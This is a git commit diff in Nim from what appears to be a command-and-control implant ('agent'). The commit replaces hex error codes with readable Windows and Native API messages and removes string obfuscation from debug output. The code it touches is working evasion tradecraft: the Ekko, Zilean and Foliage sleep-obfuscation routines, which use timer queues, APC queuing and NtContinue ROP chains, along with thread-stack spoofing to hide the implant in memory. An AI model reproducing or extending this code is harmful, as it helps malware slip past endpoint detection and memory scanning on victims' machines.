Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.

This commit is contained in:
Jakob Friedl
2025-10-21 22:37:57 +02:00
parent 7e6b0c8442
commit 51748639de
11 changed files with 116 additions and 105 deletions

View File

@@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT =
# Create snapshot of all available threads
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
defer: CloseHandle(hSnapshot)
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
raise newException(CatchableError, $GetLastError())
raise newException(CatchableError, GetLastError().getError())
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
# Check if the thread belongs to the current process but is not the current thread
@@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT =
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
return ctx
print protect("[-] No suitable thread for stack duplication found.")
print "[-] No suitable thread for stack duplication found."
return ctx
#[
@@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
# Create timer queue
status = apis.RtlCreateTimerQueue(addr queue)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: discard apis.RtlDeleteTimerQueue(queue)
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
# Retrieve the initial thread context
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
delay += 100
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
# Create events
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventTimer)
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventWait)
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventStart)
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventEnd)
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
raise newException(CatchableError, status.getNtError())
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Wait for events to finish before continuing
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
if spoofStack:
# Stack duplication
@@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
if spoofStack:
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hThread)
# Preparing the ROP chain
@@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
delay += 100
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
#[
@@ -477,20 +477,20 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
# Start synchronization event
status = apis.NtCreateEvent(addr hEventSync, EVENT_ALL_ACCESS, NULL, SynchronizationEvent, FALSE)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
raise newException(CatchableError, status.getNtError())
defer: CloseHandle(hEventSync)
# Start suspended thread where the APC calls will be queued and executed
status = apis.NtCreateThreadEx(addr hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), NULL, NULL, TRUE, 0, 0x1000 * 20, 0x1000 * 20, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtCreateThreadEx " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print fmt"[*] [{hThread.repr}] Thread created "
defer: CloseHandle(hThread)
ctxInit.ContextFlags = CONTEXT_FULL
status = apis.NtGetContextThread(hThread, addr ctxInit)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtGetContextThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# NtTestAlert is used to check if any user-mode APCs are pending for the calling thread and, if so, execute them.
# NtTestAlert will trigger all queued APC calls until the last element in the obfuscation chain, where ExitThread is called, terminating the thread.
@@ -552,24 +552,24 @@ proc sleepFoliage(apis: Apis, key, img: USTRING, sleepDelay: int) =
for i in 0 .. gadget:
status = apis.NtQueueApcThread(hThread, cast[PPS_APC_ROUTINE](apis.NtContinue), addr ctx[i], cast[PVOID](FALSE), NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtQueueApcThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
# Start sleep obfuscation
status = apis.NtAlertResumeThread(hThread, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtAlertResumeThread " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation start.")
print "[*] Sleep obfuscation start."
status = apis.NtSignalAndWaitForSingleObject(hEventSync, hThread, TRUE, NULL)
if status != STATUS_SUCCESS:
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
raise newException(CatchableError, status.getNtError())
print protect("[*] Sleep obfuscation end.")
print "[*] Sleep obfuscation end."
except CatchableError as err:
sleep(sleepDelay)
print protect("[-] "), err.msg
print "[-] ", err.msg
# Sleep obfuscation implemented in various techniques
proc sleepObfuscate*(sleepDelay: int, technique: SleepObfuscationTechnique = NONE, spoofStack: var bool = true) =